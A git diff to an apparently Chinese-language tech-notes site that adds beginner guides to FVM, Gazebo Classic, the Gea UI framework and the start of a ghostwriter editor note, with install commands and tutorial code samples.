+- **VS Code**：`fvm use` 后常自动更新 `.vscode/settings.json` 里的 `dart.flutterSdkPath` 指向 `.fvm/flutter_sdk`
+- **Android Studio / IntelliJ**：手动把 Flutter SDK 路径设为项目内 `.fvm/flutter_sdk` 的**绝对路径**；切换版本后可能要重新选路径并 Sync Gradle（IDE 有时会把 symlink 解析成真实路径缓存）
+
+## 安装
+
+macOS 推荐方式之一：
+
+```bash
+# 官方安装脚本（Linux/macOS 通用）
+curl -fsSL https://fvm.app/install.sh | bash
+
+# 或 Homebrew
+brew tap leoafarias/fvm
+brew install fvm
+```
+
+Windows 可用 Chocolatey：`choco install fvm`，或 Scoop bucket。也可用 `dart pub global activate fvm`，但若你打算用 FVM 管理**全局** Flutter，官方更推荐独立安装包而非 pub global。
+
+安装后确认：
+
+```bash
+fvm --version
+fvm doctor
+```
+
+## 实践案例
+
+### 案例 1：新项目从零钉版本
+
+```bash
+cd ~/projects/shop_app
+
+# 查看远端有哪些版本
+fvm releases
+
+# 安装并绑定 stable（或具体版本号）
+fvm use stable --pin
+# 等价于指定号：fvm use 3.19.0
+
+# 验证
+fvm flutter --version
+fvm flutter pub get
+fvm flutter run
+```
+
+执行 `fvm use` 后项目根目录会出现 `.fvm/` 和 `.fvmrc`。把 `.fvmrc` 提交到 Git；确认 `.gitignore` 已忽略 `.fvm/flutter_sdk`（FVM 可自动处理）。
+
+### 案例 2：克隆同事项目并对齐 CI
+
+```bash
+git clone https://github.com/team/legacy_app.git
+cd legacy_app
+
+# 读 .fvmrc，下载缺失 SDK
+fvm install
+
+# 与 CI 相同的构建命令
+fvm flutter pub get
+fvm flutter test
+fvm flutter build apk --release
+```
+
+GitHub Actions 示例片段：
+
+```yaml
+- name: Setup FVM
+  run: dart pub global activate fvm
+
+- name: Install Flutter SDK
+  run: fvm install
+
+- name: Build
+  run: fvm flutter build apk --release
+```
+
+### 案例 3：跨版本回归测试
+
+不必切换项目配置，可用 `spawn` 在指定 SDK 下跑一次性命令：
+
+```bash
+# 当前项目仍是 3.19.0
+fvm spawn 3.16.0 test
+fvm spawn beta analyze
+```
+
+适合验证「这个 bug 是不是新版本才出现」。
+
+### 案例 4：清理磁盘
+
+```bash
+fvm list              # 看已安装版本
+fvm remove 3.13.0     # 删单个
+fvm remove --all      # 清空（慎用）
+```
+
+多个项目共享同一份缓存里的 3.19.0，删除前确认没有项目仍引用该版本。
+
+## 常用命令速查
+
+| 命令 | 作用 |
+|------|------|
+| `fvm install [version]` | 下载 SDK 到缓存（不绑定项目） |
+| `fvm use <version>` | 为当前项目绑定版本 |
+| `fvm list` | 列出已安装版本 |
+| `fvm releases` | 列出可安装的发布版本 |
+| `fvm global <version>` | 设置全局默认 |
+| `fvm flutter <cmd>` | 用项目 SDK 执行 flutter |
+| `fvm spawn <ver> <cmd>` | 临时用某版本执行命令 |
+| `fvm doctor` | 检查环境与 IDE 配置 |
+| `fvm config` | 查看/修改全局配置（缓存路径等） |
+
+## 踩过的坑
+
+1. **直接敲 `flutter` 没用 FVM**：PATH 里全局 Flutter 优先级更高，构建用的还是旧 SDK。团队规范应写清「本项目必须用 `fvm flutter` 或 alias」。
+
+2. **没提交 `.fvmrc` 只口头说版本**：新人 `fvm install` 无从得知该装哪一版。版本契约必须进仓库。
+
+3. **把 `.fvm/flutter_sdk` 提交进 Git**：symlink 在不同机器上目标路径不同，容易冲突；应只提交 `.fvmrc`。
+
+4. **IDE 仍指向旧 SDK**：切换 `fvm use` 后 VS Code 需 Reload Window；Android Studio 可能要重新选 SDK 路径并 Invalidate Caches。
+
+5. **CI 忘了 `fvm install`**：流水线只有 `flutter build` 会用 runner 自带 Flutter，与本地不一致。标准顺序：`activate fvm` → `fvm install` → `fvm flutter ...`。
+
+6. **Monorepo 子模块未各自 `fvm use`**：每个 Flutter 包目录若需不同版本，要在对应目录执行 `fvm use`，IDE 模块也要指向各自的 `.fvm/flutter_sdk`。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 多 Flutter 项目并行维护
+- 团队需要与 CI 一致的 SDK 版本
+- 需要在 stable / beta / 旧版之间频繁切换或做矩阵测试
+- 使用自定义 Flutter fork 的企业环境
+
+**不适用**：
+
+- 整个机器只有一个 Flutter 项目且版本从不变（全局安装够用）
+- 纯容器构建且镜像已 `FROM` 固定 Flutter 版本（镜像即版本契约，不必再套 FVM）
+- 不愿在命令前加 `fvm` 且也不配置 alias 的团队（容易误用全局 SDK）
+
+## 同类对比
+
+| 工具 | 语言 | 定位 | 备注 |
+|------|------|------|------|
+| **FVM** | Dart | Flutter 专用，项目级 `.fvmrc` | Flutter 生态事实标准 |
+| **asdf** | Shell | 多语言版本管理（含 flutter 插件） | 通用但 Flutter 体验不如 FVM 专精 |
+| **手动 PATH** | — | 自己 export 不同目录 | 无项目级配置文件，难协作 |
+| **nvm / pyenv** | — | Node / Python 版本管理 | 问题模型相同，语言不同 |
+
+若你熟悉 [[nvm]]：把 Node 换成 Flutter、`node` 换成 `flutter`、`nvm use` 换成 `fvm use`、`.nvmrc` 换成 `.fvmrc`，心智模型几乎一致。
+
+## 环境变量（选读）
+
+| 变量 | 含义 |
+|------|------|
+| `FVM_CACHE_PATH` | Flutter SDK 缓存根目录 |
+| `FVM_FLUTTER_URL` | 克隆 Flutter 的 git URL（镜像/fork） |
+| `FVM_USE_GIT_CACHE` | 是否启用 git 引用缓存（加速安装） |
+| `FVM_GIT_CACHE_PATH` | git 缓存路径 |
+
+## 学到什么
+
+1. **版本管理器的本质**：集中缓存 + 项目级指针（symlink/配置），避免重复下载和全局污染
+2. **可复现构建**：`.fvmrc` 和 CI 里的 `fvm install` 把「我机器上能跑」变成「任何人、任何流水线都能跑」
+3. **IDE 是第二战场**：CLI 对了但 IDE 仍指向错误 SDK，分析器和编译器会分裂
+4. **与包管理分离**：FVM 管 SDK 版本；`pub get` 管 Dart 依赖——两者都要对齐
+
+## 延伸阅读
+
+- 官方仓库：[leoafarias/fvm](https://github.com/leoafarias/fvm)
+- 文档：[fvm.app](https://fvm.app/documentation/getting-started)
+- 工作流指南：[Common Workflows](https://fvm.app/documentation/guides/workflows)
+- Flutter 官方安装（全局 SDK 背景）：[docs.flutter.dev](https://docs.flutter.dev/get-started/install)
+
+## 关联
+
+- [[nvm]] — Node 版本管理，概念平行
+- [[pyenv]] — Python 版本管理，同为 per-project 钉版本
+- [[expo]] — React Native 侧的工具链与 SDK 版本锁定（Expo SDK 与 RN 版本绑定）
+- [[flutter-rust-bridge]] — Flutter 生态中的跨语言桥接项目
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- [[expo]] —— Expo — RN 的"开箱即用"工具链 + 云构建 + OTA 更新
+- [[flutter-rust-bridge]] —— flutter-rust-bridge — Dart 调 Rust 像调本地函数
+- [[nvm]] —— nvm — 在同一台机器上轻松切换 Node 版本
+- [[pyenv]] —— pyenv — 用 shim 把 python 命令拦截后路由到指定版本
+
diff --git a/src/content/docs/projects/fzf.md b/src/content/docs/projects/fzf.md
index 721a49573..3bc20ac57 100644
--- a/src/content/docs/projects/fzf.md
+++ b/src/content/docs/projects/fzf.md
@@ -2,8 +2,8 @@
 title: fzf — 命令行模糊查找
 来源: https://github.com/junegunn/fzf
 日期: 2026-05-29
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/gazebo-classic.md b/src/content/docs/projects/gazebo-classic.md
new file mode 100644
index 000000000..4d52d8fff
--- /dev/null
+++ b/src/content/docs/projects/gazebo-classic.md
@@ -0,0 +1,379 @@
+---
+title: Gazebo Classic — 机器人仿真零基础入门
+来源: 'https://github.com/osrf/gazebo'
+日期: 2026-06-13
+子分类: 嵌入式
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 日常类比：带物理引擎的「沙盒游戏 + 风洞实验室」
+
+想象你要测试一辆还没造出来的遥控车，但不想每次改设计都开模、焊电路、买零件。
+
+- **世界（World）** 像游戏关卡文件：地面、光照、障碍物、重力方向，全写在一个 `.world` / `.sdf` 里。
+- **模型（Model）** 像可复用的积木包：一个差速小车、一张桌子、一盏太阳灯，各自有 `model.sdf`，关卡里用 `<include>` 引用即可。
+- **链接与关节（Link / Joint）** 像积木的「硬块 + 铰链」：车身是一个 link，轮子通过 revolute joint 连到车身；物理引擎据此算碰撞与运动。
+- **gzserver** 像后台物理服务器：不算画面，只跑物理步进、传感器采样、插件逻辑——适合 CI 或无头云仿真。
+- **gzclient** 像 3D 客户端：负责渲染、鼠标拖物体、调仿真参数；挂了可以重启，server 继续跑。
+- **插件（Plugin）** 像 Mod：用 C++ 写 `.so`，在 SDF 里挂到 world / model / sensor 上，就能改重力、推模型、读激光数据。
+
+**Gazebo Classic**（仓库 [osrf/gazebo](https://github.com/osrf/gazebo)）是 Open Robotics 维护多年的 3D 机器人仿真器，长期与 ROS 1 深度集成，也是 ROS 2 早期 `gazebo_ros_pkgs` 的底座。官方教程入口：[Gazebo Classic Tutorials](https://classic.gazebosim.org/tutorials)。
+
+> **重要背景**：Gazebo Classic 已于 **2025 年 1 月** 到达 end-of-life（EOL），新项目应迁移到新一代 **Gazebo**（原 Ignition Gazebo，见 [gazebosim.org](https://gazebosim.org)）。本文仍值得学：大量 legacy 栈、教材、比赛环境基于 Classic；理解 SDF、server/client 分离、插件模型，迁移到新 Gazebo 会轻松很多。
+
+它和 [[ros2]] / [[navigation2]] 的关系：Nav2 常在 Gazebo 里跑 SLAM + 导航；Classic 通过 `gazebo_ros` 桥发布 `/clock`、`/scan`、`/odom` 等话题，让 ROS 节点以为在跟真机打交道。
+
+---
+
+## 解决什么问题
+
+| 痛点 | 没有仿真时 | Gazebo Classic 的回应 |
+| --- | --- | --- |
+| 硬件贵、迭代慢 | 每改一次结构就要实机调试 | SDF 改参数 → 重启仿真，分钟级验证 |
+| 危险场景难测 | 高速碰撞、跌落不便真测 | 物理引擎（ODE/Bullet 等）在虚拟世界重复试验 |
+| 传感器难同步 | 相机、激光、IMU 时间戳对齐麻烦 | 仿真器统一 clock，传感器按同一物理步长采样 |
+| 算法要可复现 | 实机噪声、环境不可控 | 固定 seed、固定 world，回归测试稳定 |
+| 多机协同 | 多台机器人成本高 | 一个 world 里 spawn 多个 model |
+
+核心问题：**如何在可控、可重复、低成本的环境里，让机器人软件（感知、规划、控制）以为在操作真实硬件？**
+
+---
+
+## 架构：Server / Client 分离
+
+Gazebo Classic 由两个主要进程组成（`gazebo` 命令会同时拉起二者）：
+
+```text
+┌─────────────────┐         transport (Protobuf/Topic)        ┌─────────────────┐
+│    gzserver     │ ◄──────────────────────────────────────► │    gzclient     │
+│  物理 + 传感器   │         状态、图像、GUI 指令               │  QT 可视化界面   │
+│  插件加载        │                                          │  用户交互        │
+└────────┬────────┘                                          └─────────────────┘
+         │
+         │  libgazebo_ros_* 等桥接
+         ▼
+┌─────────────────┐
+│  ROS / ROS 2    │  /clock, /tf, /scan, /cmd_vel ...
+└─────────────────┘
+```
+
+常用启动方式：
+
+```bash
+# 图形界面 + 默认空世界
+gazebo
+
+# 指定官方示例世界（路径随安装版本变化，如 gazebo-11）
+gazebo worlds/empty_sky.world
+
+# 无头：只跑物理（适合服务器 / CI）
+gzserver worlds/empty_sky.world
+
+# 另开终端再看画面
+gzclient
+```
+
+环境变量（排错高频）：
+
+| 变量 | 作用 |
+| --- | --- |
+| `GAZEBO_MODEL_PATH` | 额外模型目录，找 `model://` |
+| `GAZEBO_RESOURCE_PATH` | 找 world、media 等资源 |
+| `GAZEBO_PLUGIN_PATH` | 自定义 `.so` 插件搜索路径 |
+
+---
+
+## 核心概念
+
+### 1. SDF（Simulation Description Format）
+
+SDF 是 XML 格式的仿真描述语言（[SDF 规范](http://sdformat.org/)）。与 URDF 相比，SDF **原生支持一个文件里多个 model、完整 world、插件标签**，Classic 以 SDF 为一等公民。
+
+层级结构（由粗到细）：
+
+```text
+<sdf>
+  <world>           ← 一个仿真场景
+    <include/>      ← 引用 model://ground_plane 等
+    <model>         ← 也可 inline 写完整模型
+      <link>        ← 刚性单元：visual + collision + inertial
+        <visual/>   ← 外观（mesh / box / cylinder）
+        <collision/>← 碰撞体（可简化）
+        <inertial/> ← 质量、惯性张量
+      </link>
+      <joint/>      ← 连接两个 link：revolute / prismatic / fixed ...
+      <plugin/>     ← 绑定 C++ 插件 .so
+    </model>
+    <plugin/>       ← World 级插件
+  </world>
+</sdf>
+```
+
+**Model 数据库**：在线/本地 `~/.gazebo/models`，GUI 里 Insert  tab 下载的模型也在这里。每个模型目录通常含 `model.config`（元数据）和 `model.sdf`（几何与物理）。
+
+### 2. 物理引擎与仿真步
+
+`gzserver` 循环执行：
+
+1. 读 SDF，实例化 world 与 model；
+2. 按 `max_step_size` 推进物理（默认 ODE）；
+3. 更新 joint 状态、碰撞响应；
+4. 触发传感器与插件回调（如 `WorldUpdateBegin`）；
+5. 通过 transport 把状态发给 client 与外部桥。
+
+实时因子（Real Time Factor, RTF）= 仿真时间 / 墙钟时间。RTF < 1 说明算力不够，仿真比真实时间慢。
+
+### 3. 插件类型
+
+| 插件基类 | 挂载点 | 典型用途 |
+| --- | --- | --- |
+| `SystemPlugin` | 命令行 / 最早加载 | 控制启动流程 |
+| `WorldPlugin` | `<world>` | 改重力、光照、全局逻辑 |
+| `ModelPlugin` | `<model>` | 推模型、自定义控制器 |
+| `SensorPlugin` | 传感器 | 处理相机/激光原始数据 |
+| `VisualPlugin` | visual | 特效、非物理可视化 |
+
+注册宏：`GZ_REGISTER_WORLD_PLUGIN`、`GZ_REGISTER_MODEL_PLUGIN` 等。插件必须编译为 **shared library**，并在 SDF 里写 `filename="libxxx.so"`。
+
+### 4. Transport 与消息
+
+Classic 内部用 **Protobuf** 消息在 topic 上通信（与 ROS 不同层）。插件里常见：
+
+- `transport::Node` 订阅/发布 Gazebo 话题；
+- `event::Events::ConnectWorldUpdateBegin` 每个仿真步回调。
+
+ROS 集成则另走 `gazebo_ros` 包，把 Gazebo 传感器转成 ROS 消息。
+
+### 5. Classic vs 新 Gazebo
+
+| 维度 | Gazebo Classic | 新 Gazebo (gz sim) |
+| --- | --- | --- |
+| 命令 | `gazebo`, `gzserver` | `gz sim` |
+| 维护状态 | EOL (2025-01) | 活跃开发 |
+| SDF 版本 | 1.4–1.7 常见 | SDFormat 最新版 |
+| ROS 2 | 旧 `gazebo_ros_pkgs` | `ros_gz` 系列 |
+
+维护老项目读 Classic； greenfield 请直接上新 Gazebo + [迁移指南](https://gazebosim.org/docs/latest/migration_from_classic/)。
+
+---
+
+## 示例 1：最小 World SDF + 命令行启动
+
+在任意目录创建 `minimal.world`：
+
+```xml
+<?xml version="1.0"?>
+<sdf version="1.6">
+  <world name="default">
+    <!-- 内置 ground_plane 与 sun 模型 -->
+    <include>
+      <uri>model://ground_plane</uri>
+    </include>
+    <include>
+      <uri>model://sun</uri>
+    </include>
+
+    <!-- 1m 立方体，中心高度 0.5m -->
+    <model name="box">
+      <pose>0 0 0.5 0 0 0</pose>
+      <static>false</static>
+      <link name="link">
+        <collision name="collision">
+          <geometry>
+            <box><size>1 1 1</size></box>
+          </geometry>
+        </collision>
+        <visual name="visual">
+          <geometry>
+            <box><size>1 1 1</size></box>
+          </geometry>
+          <material>
+            <ambient>0.2 0.5 0.8 1</ambient>
+          </material>
+        </visual>
+        <inertial>
+          <mass>1.0</mass>
+          <inertia>
+            <ixx>0.166667</ixx><iyy>0.166667</iyy><izz>0.166667</izz>
+          </inertia>
+        </inertial>
+      </link>
+    </model>
+  </world>
+</sdf>
+```
+
+运行：
+
+```bash
+cd /path/to/dir
+gazebo minimal.world
+# 或 headless
+gzserver minimal.world
+```
+
+期望：地面上一块蓝色立方体，受重力落下并静止。若报 `Unable to find uri[model://ground_plane]`，检查 Gazebo 是否正确安装、`GAZEBO_MODEL_PATH` 是否包含系统 model 路径。
+
+---
+
+## 示例 2：Model 插件 — 每帧给模型施加速度
+
+以下 C++ **ModelPlugin** 在每一仿真步给父模型设置线速度（改编自官方 [Model plugins](https://classic.gazebosim.org/tutorials?tut=plugins_model) 教程）。
+
+`model_push.cc`：
+
+```cpp
+#include <gazebo/gazebo.hh>
+#include <gazebo/physics/physics.hh>
+#include <gazebo/common/common.hh>
+
+namespace gazebo {
+class ModelPush : public ModelPlugin {
+ public:
+  void Load(physics::ModelPtr _parent, sdf::ElementPtr /*_sdf*/) {
+    model_ = _parent;
+    updateConnection_ = event::Events::ConnectWorldUpdateBegin(
+        std::bind(&ModelPush::OnUpdate, this));
+  }
+
+  void OnUpdate() {
+    // 沿 X 轴 0.5 m/s 匀速推动
+    model_->SetLinearVel(ignition::math::Vector3d(0.5, 0, 0));
+  }
+
+ private:
+  physics::ModelPtr model_;
+  event::ConnectionPtr updateConnection_;
+};
+GZ_REGISTER_MODEL_PLUGIN(ModelPush)
+}
+```
+
+`CMakeLists.txt` 骨架（需 `find_package(gazebo REQUIRED)`，链接 `${GAZEBO_LIBRARIES}`）：
+
+```cmake
+cmake_minimum_required(VERSION 3.5)
+project(model_push)
+find_package(gazebo REQUIRED)
+add_library(model_push SHARED model_push.cc)
+target_link_libraries(model_push ${GAZEBO_LIBRARIES})
+```
+
+`model_push.world` 片段：
+
+```xml
+<model name="box">
+  <pose>0 0 0.5 0 0 0</pose>
+  <link name="link">
+    <collision name="collision">
+      <geometry><box><size>1 1 1</size></box></geometry>
+    </collision>
+    <visual name="visual">
+      <geometry><box><size>1 1 1</size></box></geometry>
+    </visual>
+  </link>
+  <plugin name="model_push" filename="libmodel_push.so"/>
+</model>
+```
+
+编译与运行：
+
+```bash
+mkdir build && cd build && cmake .. && make
+export GAZEBO_PLUGIN_PATH=$GAZEBO_PLUGIN_PATH:$(pwd)
+gzserver -u ../model_push.world   # -u 表示 paused 启动，按播放开始
+```
+
+期望：点击播放后，立方体持续向 X 正方向滑动。`-u` 便于先检查场景再开仿真。
+
+---
+
+## 示例 3：World 插件 — 启动时修改重力
+
+World 插件在 `Load` 里拿到 `physics::WorldPtr`，可改物理参数。官方 [Programmatic World Control](https://classic.gazebosim.org/tutorials?tut=plugins_world_properties) 通过 transport 发布 `msgs::Physics` 把重力改成 `(0.01, 0, 0.1)`，物体缓慢「飘走」。
+
+SDF 挂载：
+
+```xml
+<world name="default">
+  <!-- ... includes ... -->
+  <plugin filename="libworld_edit.so" name="world_edit"/>
+</world>
+```
+
+要点：`node->Init(_parent->GetName())` 初始化 transport；`physicsPub->Publish(physicsMsg)` 应用新重力。适合课程演示「月球重力」「火星重力」而不改全局配置。
+
+---
+
+## 与 ROS 2 联合使用（概念）
+
+典型流程（包名因发行版略有差异）：
+
+1. 安装 `gazebo_ros_pkgs` 与机器人描述包；
+2. `ros2 launch` 同时起 `gzserver`（带 robot world）与 robot state / spawn；
+3. 控制器发 `/cmd_vel`，`gazebo_ros_diff_drive` 等插件驱动模型；
+4. `gazebo_ros_ray_sensor` 发布 `/scan`，Nav2 消费。
+
+```bash
+# 示意：具体 launch 名以你所用栈为准（如 turtlebot3_gazebo）
+ros2 launch turtlebot3_gazebo empty_world.launch.py
+```
+
+仿真时间：设置 `use_sim_time` 为 true，ROS 节点订阅 `/clock`，避免墙钟与 sim time 错位。
+
+---
+
+## GUI 快速上手
+
+1. **Insert**  tab：从 model 库拖入物体（下载到 `~/.gazebo/models`）。
+2. 工具栏 **简单几何体**：快速放 box / sphere / cylinder。
+3. **Translate / Rotate** 插件：拖动物体与模型。
+4. **File → Save As**：把当前场景存成 `.world` / `.sdf`。
+5. 左下角 **播放 / 暂停 / 单步**：控制仿真运行。
+
+教程 [Building a world](https://classic.gazebosim.org/tutorials?tut=build_world) Walkthrough 与上述流程一致。
+
+---
+
+## 常见问题排查
+
+| 现象 | 可能原因 | 处理 |
+| --- | --- | --- |
+| `model://` 找不到 | model 路径未设置 | `export GAZEBO_MODEL_PATH=...` 或 `gazebo --verbose` 看日志 |
+| 插件未加载 | `.so` 不在 `GAZEBO_PLUGIN_PATH` | 编译后 export 插件目录 |
+| 黑屏 / 无 client | 只跑了 gzserver | 另开 `gzclient` 或直接用 `gazebo` |
+| 物体穿透抖动 | 步长过大、碰撞 mesh 太薄 | 减小 `max_step_size`，简化 collision |
+| ROS 时间不对 | 未用 sim time | 全局 `use_sim_time:=true` + `/clock` |
+
+调试建议：始终先 `gazebo --verbose` 或 `gzserver --verbose`，第一屏错误通常直指缺失的 uri 或 plugin。
+
+---
+
+## 学习路径建议
+
+1. **Quick Start**：[官方 Quick Start](https://classic.gazebosim.org/tutorials?tut=quick_start) — 熟悉 `gazebo worlds/pioneer2dx.world`。
+2. **Components**：[Gazebo Components](https://classic.gazebosim.org/tutorials?tut=components) — world / model / server / client 分工。
+3. **Build World** — GUI 搭场景并 Save As。
+4. **Plugins 101** — WorldPlugin Hello World，理解 `GZ_REGISTER_*`。
+5. **Model / Sensor 插件** — 控制与传感器数据处理。
+6. **对接 ROS 2** — 在已有 robot launch 里改 world、换传感器插件。
+7. **迁移** — 读 [Migration from Gazebo classic](https://gazebosim.org/docs)，对照新 API。
+
+---
+
+## 小结
+
+Gazebo Classic 用 **SDF 描述世界**，用 **gzserver 跑物理与插件**，用 **gzclient 看与摸**，可选 **ROS 桥** 对接导航/感知栈。对零基础学习者，先会写最小 world、会启动 server/client、会在 SDF 里 `include` 模型，再进阶 C++ 插件与 ROS launch，是一条扎实路径。
+
+记住 EOL 时间线：学 Classic 是为了维护与理解现有资产；**新仿真项目请直接选 Gazebo (gz sim)**，并把本文的 SDF 与插件思想映射到新文档即可。
+
+---
+
+## 参考链接
+
+- 源码与 Issue：[github.com/osrf/gazebo](https://github.com/osrf/gazebo)
+- 教程索引：[classic.gazebosim.org/tutorials](https://classic.gazebosim.org/tutorials)
+- SDF 规范：[sdformat.org](https://sdformat.org/)
+- 新 Gazebo 与迁移：[gazebosim.org](https://gazebosim.org)
+- 相关笔记：[[ros2]]、[[navigation2]]、[[moveit2]]
diff --git a/src/content/docs/projects/gea.md b/src/content/docs/projects/gea.md
new file mode 100644
index 000000000..b506fd92e
--- /dev/null
+++ b/src/content/docs/projects/gea.md
@@ -0,0 +1,187 @@
+---
+title: Gea - 零虚拟 DOM 的响应式 JavaScript UI 框架
+来源: https://github.com/dashersw/gea
+日期: 2026-06-13
+分类: 后端 API
+子分类: frontend-web
+provenance: pipeline-v3
+---
+
+# Gea - 零虚拟 DOM 的响应式 JavaScript UI 框架
+
+## 什么是 Gea？
+
+想象一下，你有一面墙，上面挂着许多小灯泡。每当电流变化时，你不想关掉所有灯泡重新检查一遍——你只想调整那几个亮暗变化的灯泡。
+
+Gea 就是这样工作的 UI 框架。它没有"虚拟 DOM"这个中间层，而是直接在编译阶段就把你的 JSX 代码变成精确的 DOM 操作指令。数据变了，它只更新受影响的那一小段 HTML。
+
+## 核心概念
+
+### 1. 编译器代替运行时
+
+Gea 的做法是：在构建时（build time），用一个 Vite 插件把你的 JSX 模板直接翻译成 HTML 字符串模板。运行时不再需要 Virtual DOM diff 的开销——它只需要根据数据变化做"外科手术式"的 DOM 补丁。
+
+一个只写 "Hello World" 的 Gea 应用，打包后只有 **121 字节**（brotli 压缩）。作为对比，React 是 50.8 KB，Vue 是 20.7 KB。
+
+### 2. 代理（Proxy）驱动的响应式
+
+Gea 的 Store 用 JavaScript 的 `Proxy` 包装所有数据。你直接写 `this.count++` 就触发了响应式更新——不需要信号（signals）、不需要 `useState`、不需要 `v-model`。就是最普通的 JavaScript。
+
+### 3. 类组件 + 函数组件
+
+类组件处理有状态逻辑，函数组件处理纯展示。两者在构建时统一处理，你写起来像普通 JavaScript 就行。
+
+## 代码示例
+
+### 示例 1：计数器 Store + 类组件
+
+```ts
+// counter-store.ts
+import { Store } from '@geajs/core'
+
+class CounterStore extends Store {
+  count = 0
+  increment() { this.count++ }
+  decrement() { this.count-- }
+}
+
+export default new CounterStore()
+```
+
+```jsx
+// app.tsx
+import { Component } from '@geajs/core'
+import counterStore from './counter-store'
+
+export default class App extends Component {
+  template() {
+    return (
+      <div>
+        <h1>{counterStore.count}</h1>
+        <button click={counterStore.increment}>+</button>
+        <button click={counterStore.decrement}>-</button>
+      </div>
+    )
+  }
+}
+```
+
+```ts
+// main.ts
+import App from './app'
+new App().render(document.getElementById('app'))
+```
+
+**解释：** 这里 `CounterStore` 继承自 `Store`，`count` 属性被 Proxy 自动追踪。点击按钮时，`this.count++` 直接修改数据，Gea 自动只更新 `<h1>` 中的数字部分。
+
+### 示例 2：Todo 应用（完整 Store + 多方法）
+
+```ts
+// todo-store.ts
+import { Store } from '@geajs/core'
+
+class TodoStore extends Store {
+  todos = []
+  filter = 'all'
+  draft = ''
+
+  add(text) {
+    const t = (text ?? this.draft).trim()
+    if (!t) return
+    this.draft = ''
+    this.todos.push({ id: crypto.randomUUID(), text: t, done: false })
+  }
+
+  toggle(id) {
+    const todo = this.todos.find(t => t.id === id)
+    if (todo) todo.done = !todo.done
+  }
+
+  remove(id) {
+    this.todos = this.todos.filter(t => t.id !== id)
+  }
+
+  setFilter(filter) {
+    this.filter = filter
+  }
+}
+
+export default new TodoStore()
+```
+
+**解释：** Store 是单例模式，`todos` 数组的方法如 `push`、`filter` 都被代理拦截，产生精确的变更事件。`silent(fn)` 可以在拖拽等场景下避免冗余的 DOM 更新。
+
+## Gea 与其他框架对比
+
+| 特性 | Gea | React | Vue |
+|------|-----|-------|-----|
+| 包大小（Hello World） | 121 B brotli | 50.8 KB | 20.7 KB |
+| 虚拟 DOM | 没有 | 有 | 有 |
+| 响应式方式 | Proxy 自动追踪 | 显式 setState/hooks | Proxy (ref/reactive) |
+| 事件语法 | `click={fn}` | `onClick={fn}` | `@click="fn"` |
+| 类名属性 | `class` | `className` | `class` |
+| Props（对象/数组） | 双向（共享 Proxy） | 单向（回调） | 单向（emit/v-model） |
+
+## 为什么选择 Gea？
+
+- **就是 JavaScript**：不需要学新的信号系统、依赖数组或编译器指令
+- **没有虚拟 DOM**：构建时直接生成 DOM 补丁，无 diff 开销
+- **超小包体积**：交互式 todo 应用仅 4.9 KB brotli JS
+- **渐进式扩展**：路由、UI 组件、移动端支持都以独立包提供，按需引入
+
+## 快速开始
+
+```bash
+npm create gea@latest my-app
+cd my-app
+npm install
+npm run dev
+```
+
+或手动添加到现有 Vite 项目：
+
+```bash
+npm install @geajs/core
+npm install -D @geajs/vite-plugin
+```
+
+然后在 `vite.config.ts` 中添加：
+
+```ts
+import { defineConfig } from 'vite'
+import { geaPlugin } from '@geajs/vite-plugin'
+
+export default defineConfig({
+  plugins: [geaPlugin()]
+})
+```
+
+## Gea 的包生态
+
+| 包名 | 作用 |
+|------|------|
+| `@geajs/core` | 核心：Store、Component、响应式、DOM 补丁 |
+| `@geajs/ui` | 无障碍 UI 原语（基于 Zag.js） |
+| `@geajs/mobile` | 移动端 UI：视图、导航、手势 |
+| `@geajs/ssr` | 服务端渲染：流式 HTML、 hydration |
+| `@geajs/vite-plugin` | Vite 插件：JSX 转换、响应式连线 |
+| `create-gea` | 项目脚手架 |
+
+## 关键机制：数组方法的精细处理
+
+Gea 对数组方法的拦截非常精细：
+
+| 方法 | 变更类型 |
+|------|---------|
+| `push(...items)` | `append` |
+| `pop()` / `shift()` | `delete` |
+| `sort()` / `reverse()` | `reorder` |
+| `splice()` | `delete` + `add` |
+
+这意味着 Gea 能智能地判断：是追加新项、删除已有项、还是重新排序，从而只做最少的 DOM 操作。
+
+## 学习笔记
+
+Gea 的核心理念是"编译器消除框架本身"。这与 Svelte 的理念相似，但 Gea 走得更远——在极简单的场景中，框架的运行时代码几乎完全消失。
+
+对于初学者来说，Gea 最大的好处是：你不需要学习 React 的 hooks 规则、Vue 的 ref/reactive 区别、或 Solid 的信号 API。你只需要写普通的 JavaScript 类和对象，框架在背后帮你搞定响应式。
diff --git a/src/content/docs/projects/ghostwriter.md b/src/content/docs/projects/ghostwriter.md
new file mode 100644
index 000000000..1fd54ce36
--- /dev/null
+++ b/src/content/docs/projects/ghostwriter.md
@@ -0,0 +1,335 @@
+---
+title: ghostwriter — Qt 干净 Markdown 写作器
+来源: https://github.com/wereturtle/ghostwriter
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：打字机 + 校对窗，而不是 Word 画布
+
+想象你在一家安静的咖啡馆写博客：左手边是一台 **老式打字机**——你敲什么字，纸上就出什么字，没有花哨工具栏打断思路；右手边立着一块 **小预览屏**，每打一行，排版后的成品立刻出现在屏幕上，方便确认标题层级、链接、代码块有没有写错。
+
+**ghostwriter 就是这种「双区协作」的 Markdown 写作器。** 左侧编辑区始终显示 **纯 Markdown 源码**（`# 标题`、`**粗体**`、围栏代码块），右侧 **Live Preview** 实时渲染 HTML。它和 MarkText、Typora 的「所见即所得单画布」不同：你 **看得见标记语言本身**，预览只是辅助——更像程序员写 LaTeX 时左边源码、右边 PDF，而不是 Word 里直接改字号。
+
+项目由 Megan Conkle（GitHub 账号 [wereturtle](https://github.com/wereturtle)）于 2015 年发起，现已成为 **KDE 官方应用**（仓库迁移至 [KDE/ghostwriter](https://github.com/KDE/ghostwriter)，主页 [ghostwriter.kde.org](https://ghostwriter.kde.org)）。技术栈是 **Qt + KDE Frameworks + C++**，内置 **cmark-gfm** 处理器；若系统 PATH 里装了 **Pandoc / MultiMarkdown / cmark**，启动时会自动检测并扩展导出与预览能力。GPL-3.0 开源，支持 **Windows、Linux**；macOS 安装包在 KDE Binary Factory 规划中。
+
+零基础路径：**安装 → 写第一篇带标题与代码块的笔记 → 开 Focus / Hemingway 模式体验心流 → 用 Pandoc 导出 PDF 或 HTML 完成闭环**。
+
+---
+
+## 这个项目解决什么问题
